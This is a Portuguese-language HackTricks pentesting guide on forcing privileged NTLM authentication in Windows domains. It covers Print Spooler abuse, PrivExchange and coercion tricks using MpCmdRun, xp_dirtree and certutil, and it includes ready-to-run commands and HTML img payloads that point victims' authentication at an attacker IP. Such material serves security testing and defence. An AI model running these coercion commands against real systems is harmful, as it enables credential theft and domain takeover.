hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

6.8 KiB

Forçar Autenticação Privilegiada NTLM

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

SharpSystemTriggers

SharpSystemTriggers é uma coleção de gatilhos de autenticação remota codificados em C# usando o compilador MIDL para evitar dependências de terceiros.

Abuso do Serviço Spooler

Se o serviço Print Spooler estiver habilitado, você pode usar algumas credenciais AD já conhecidas para solicitar ao servidor de impressão do Controlador de Domínio uma atualização sobre novos trabalhos de impressão e simplesmente dizer para enviar a notificação para algum sistema.
Observe que quando a impressora envia a notificação para sistemas arbitrários, ela precisa se autenticar contra esse sistema. Portanto, um atacante pode fazer com que o serviço Print Spooler se autentique contra um sistema arbitrário, e o serviço usará a conta do computador nessa autenticação.

Encontrando Servidores Windows no domínio

Usando o PowerShell, obtenha uma lista de máquinas Windows. Os servidores geralmente têm prioridade, então vamos focar neles:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Encontrando serviços Spooler ouvindo

Usando uma versão ligeiramente modificada do SpoolerScanner de @mysmartlogin (Vincent Le Toux), verifique se o Serviço Spooler está ouvindo:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

Você também pode usar o rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Solicitar que o serviço se autentique em um host arbitrário

Você pode compilar SpoolSample daqui.

SpoolSample.exe <TARGET> <RESPONDERIP>

ou use dementor.py de 3xocyte ou printerbug.py se estiver no Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinando com Delegação Não Restrita

Se um atacante já comprometeu um computador com Delegação Não Restrita, o atacante poderia fazer a impressora autenticar-se neste computador. Devido à delegação não restrita, o TGT da conta de computador da impressora será salvo na memória do computador com delegação não restrita. Como o atacante já comprometeu este host, ele será capaz de recuperar este ticket e abusá-lo (Pass the Ticket).

Autenticação Forçada RCP

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

O ataque PrivExchange é resultado de uma falha encontrada no recurso PushSubscription do Exchange Server. Este recurso permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a autenticar-se em qualquer host fornecido pelo cliente via HTTP.

Por padrão, o serviço Exchange é executado como SYSTEM e recebe privilégios excessivos (especificamente, possui privilégios WriteDacl no pré-2019 Cumulative Update do domínio). Essa falha pode ser explorada para permitir o encaminhamento de informações para o LDAP e subsequentemente extrair o banco de dados NTDS do domínio. Em casos onde o encaminhamento para o LDAP não é possível, essa falha ainda pode ser usada para encaminhar e autenticar-se em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Administrador de Domínio com qualquer conta de usuário de domínio autenticada.

Dentro do Windows

Se você já estiver dentro da máquina Windows, você pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

Ou use esta outra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

É possível usar o lolbin certutil.exe (binário assinado pela Microsoft) para coagir a autenticação NTLM:

certutil.exe -syncwithWU  \\127.0.0.1\share

Injeção de HTML

Por e-mail

Se você conhece o endereço de e-mail do usuário que faz login em uma máquina que você deseja comprometer, você pode simplesmente enviar a ele um e-mail com uma imagem 1x1 como:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

MitM

Se você conseguir realizar um ataque de MitM a um computador e injetar HTML em uma página que ele visualizar, você pode tentar injetar uma imagem como a seguinte na página:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Quebra do NTLMv1

Se você conseguir capturar desafios NTLMv1 leia aqui como quebrá-los.
Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"